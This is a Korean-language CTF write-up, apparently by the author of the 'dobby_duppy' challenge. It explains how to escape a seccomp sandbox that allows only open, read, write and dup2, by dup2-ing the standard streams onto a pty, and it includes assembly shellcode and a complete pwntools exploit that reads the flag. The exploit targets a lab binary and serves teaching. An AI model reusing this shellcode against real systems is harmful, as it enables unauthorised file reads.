dobby_duppy

Tags dup shellcode

문제 코드

main

```
memset(buf, 0, sizeof(buf));
v6 = (void (*)(void))buf;
init(argc, argv, envp);
sandbox();
printf("Say hello to Dobby ... if he is Dobby :) ");
read(0, buf, 0x100uLL);
puts("\nWhat? I'm Duppy! NOT Dobby!");
puts("\nNow you are bliiiiiiiiind");
fd = open("/dev/null", 2);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
v6();
return 0;
```

일단 쉘코드를 받아 이를 실행해주고 있다.

또한 코드의 아래 부분으로 인해서 stdin,stdout,stderr가 가리키는 애들이 다 /dev/null로 옮겨지고 있어 화면에 출력되지 않는다. dup2에 관해서는 구글링하면 많이 나온다.

```
// stdin,stdout,stderr이 가리키는 파일을 /dev/null로 옮김
  fd = open("/dev/null", 2);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
return 0;
```

참고로 dup2를 해도, 파일 구조체 내에있는 fd는 그대로다.

그런데 dup2를 하면 fd는 저기 남아있지만 다른애를 가리키게 되는.것 같다.

(즉 레퍼런스가 사라지는 듯)

```
gdb-peda$ print *(FILE*)stdout
$4 = {
  _flags = 0xfbad2887,
  _IO_read_ptr = 0x7ffff7f9f7e3 <_IO_2_1_stdout_+131> "\n",
  _IO_read_end = 0x7ffff7f9f7e3 <_IO_2_1_stdout_+131> "\n",
  _IO_read_base = 0x7ffff7f9f7e3 <_IO_2_1_stdout_+131> "\n",
  _IO_write_base = 0x7ffff7f9f7e3 <_IO_2_1_stdout_+131> "\n"
  _IO_write_ptr = 0x7ffff7f9f7e3 <_IO_2_1_stdout_+131> "\n",
  _IO_write_end = 0x7ffff7f9f7e3 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_base = 0x7ffff7f9f7e3 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_end = 0x7ffff7f9f7e4 <_IO_2_1_stdout_+132> "",
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x7ffff7f9ea80 <_IO_2_1_stdin_>,
  _fileno = 0x1,
```

sandbox

아래를 분석해보면 `open,read,write,dup2` 4개의 system call만 사용하도록 하고 있다.

```
__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
    exit(0);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  return seccomp_rule_add(v1, 2147418112LL, 33LL, 0LL);
}
```

익스플로잇

일단 샌드박스로 인해 `open,read,write,dup2`만 가능하므로 이 시스템콜로만 이루어진 쉘코드를 작성해야 한다. 그리고 왜 요즘에는 잘 쓰이지 않는 SSH 환경을 주었는지도 힌트가 될 수 있다. 참고로 connect 등의 syscall도 사용하지 못하기 때문에 reverse shell도 불가능하다.

일단 인텐 풀이는 아래처럼 **새로운 터미널을 연 후 dup2를 통해 표준 스트림이 가리키는 방향을 새 터미널로 바꿔주는 것이다.** 환경에 따라 사용하는 터미널이 다른데, **나는 쉘 프로세스의 stdout이 가리키는 디바이스를 찾아서 확인했다.** stdout이 가리키는 방향이 현재 /dev/null로 되어있으므로, 보통의 상황에서 stdout이 어딜 가리키는지 확인하는 것이기 때문에 생각의 흐름이 자연스럽다.

(SSH로 준 이유가 여기서 나온다. 만약 SSH 환경 내부가 아닌 리모트에서 익스할 경우, pwntools로 접속할 텐데, 이러면 소켓을 사용하므로 터미널이 아닌 소켓으로 출력 방향이 바뀐다. 그런데 문제에서의 dup2로 인해 소켓에 대한 레퍼런스가 사라졌으므로 fd를 알기가 어렵다. 사실 fd가 아마 3,4,5중 하나겠지만 이렇게 하면 익스가 되지 않았다.)

사실 이거 말고도, ppid를 사용해서 소켓의 번호를 사용할 수 있었고 실제로도 이렇게 익스해봤는데 문제가 너무 더러워지는 것 같아서 그냥 쉽게 SSH로 줬다.

아무튼 stdout이 가리키는 곳은 리눅스 환경에서 `ls -la /proc/self/fd/`를 하면 알 수 있다. (shell의 stdout이 가리키는 곳) 참고로 아래는 wsl 환경에서 돌린 우분투고, ssh환경에서는 또 다르다.

```
haeun@DESKTOP-8NK4D08:~$ ls -la /proc/self/fd
total 0
dr-x------ 2 haeun haeun  0 Jan 28 19:01 .
dr-xr-xr-x 9 haeun haeun  0 Jan 28 19:01 ..
lrwx------ 1 haeun haeun 64 Jan 28 19:01 0 -> /dev/pts/0
lrwx------ 1 haeun haeun 64 Jan 28 19:01 1 -> /dev/pts/0
lrwx------ 1 haeun haeun 64 Jan 28 19:01 2 -> /dev/pts/0
lr-x------ 1 haeun haeun 64 Jan 28 19:01 3 -> /proc/763/fd
```

아무튼 아래처럼 C 코드를 작성해준다.

```
int new_fd = open("/dev/pts/1", O_RDWR);  // 또는 다른 적절한 파일
dup2(new_fd, 0);
dup2(new_fd, 1);
```

```
dup2(new_fd, 2);

char buf[0x100]={};
int flag=open("./flag",2);
read(flag,buf,0x100);
write(1,buf,0x100);
```

(사실 dup2는 하나만 해도 되지만 그냥 혹시 몰라 해주었다.)

그리고 이를 아래처럼 하나하나 어셈블리어로 바꿔주면 된다.

```
;open("/dev/pts/1", O_RDWR);
mov rax, 0x312f
push rax
mov rbx, 0x7374702f7665642f
mov rdi, rsp
mov rsi,2
mov rax,2
syscall

mov rdi, rax
mov rsi, 0
mov rax,0x21
syscall

mov rsi, 1
mov rax,0x21
syscall

mov rsi, 2
mov rax,0x21
syscall


mov rax, 0x616c662f2e
push rax
mov rdi, rsp
xor rsi, rsi
```

```
xor rdx, rdx
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
sub rsi, 0x100
mov rdx, 0x100
mov rax, 0x0
syscall

mov rdi, 1
mov rax, 0x1
syscall
```

이외 가능한 공격들에 대한 Mitigation 추가

1. 터미널 확인 명령어 실행 권한 제거

터미널을 그냥 tty 등의 명령어로 확인하면 바로 나오는 것을 막기 위해 이를 패치했다.

내가 원하는 바는, **stdout이 가리키는 곳**이 어디냐를 알아내길 바랐기 때문에!

따라서 Dockerfile에 아래 명령어를 추가하여 `tty, ps, stat, readlink`의 명령어를 막았다.

```
#명령어 권한 제거
RUN chmod 700 /usr/bin/tty
RUN chmod 700 /usr/bin/ps
RUN chmod 700 /usr/bin/stat
RUN chmod 700 /usr/bin/readlink
```

2. 새로운 파일 만들어 해당 파일로 읽게 하는 방법 제거

생각해보니, SSH 환경에서는 파일을 작성하는 등 자유도가 높기 때문에, 다른 파일을 만들어서 dup2를 아예 사용하지 않고 거기로 flag를 적을 수가 있다.

내가 생각한 PoC는 다음과 같다.

```
int new_fd = open("sample", O_RDWR);
char buf[0x100]={};
int flag=open("./flag",2);
read(flag,buf,0x100);
write(new_fd,buf,0x100);
```

이러면 dup2을 안하고 우회할 수 있다.

그래서 /home/pwn 디렉토리 자체에 write 권한을 제거한 후, 딱 익스플로잇 코드 하나만 writable 가능하게 해주기 위해 아래 부분을 Dockerfile에 추가했다.

```
#파일 권한 및 디렉토리 권한 설정
RUN chmod -w /home/pwn/
RUN chmod 666 /home/pwn/your_code.py
```

이렇게 하면 아래처럼 새로운 파일을 적을 수 없게 되지만, `your_code.py`는 수정할 수 있어 여기에 익스플로잇 코드를 작성할 수 있다.

최종 익스플로잇 코드

```
from pwn import *

p=process("./chall")
context.arch='amd64'
context.log_level='debug'

sc='''
mov rax, 0x312f
push rax
mov rbx, 0x7374702f7665642f
push rbx
mov rdi, rsp
mov rsi,2
```

```
mov rax,2
syscall

mov rdi, rax
mov rsi, 0
mov rax,0x21
syscall

mov rsi, 1
mov rax,0x21
syscall

mov rsi, 2
mov rax,0x21
syscall


mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
sub rsi, 0x100
mov rdx, 0x100
mov rax, 0x0
syscall

mov rdi, 1
mov rax, 0x1
syscall
'''

sc=asm(sc)
```

```
print(disasm(sc))
p.sendafter(":) ",sc)
p.interactive()
```

이렇게 그대로 보내면 플래그가 출력 된다.

```
pwn@be794b0d4e93:~$ python3 your_code.py
[+] Starting local process './chall': pid 78
/usr/local/lib/python3.10/dist-packages/pwnlib/tub
es. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
EWHA{dup2_1S_nOw_Y0ur_fR1e3EeEE3Ee3ee3nD!}
```

dup2를 별로 안 해도 돼서 난이도가 조금 아쉽다. 기회가 있으면 수정해야지 ㅎㅎ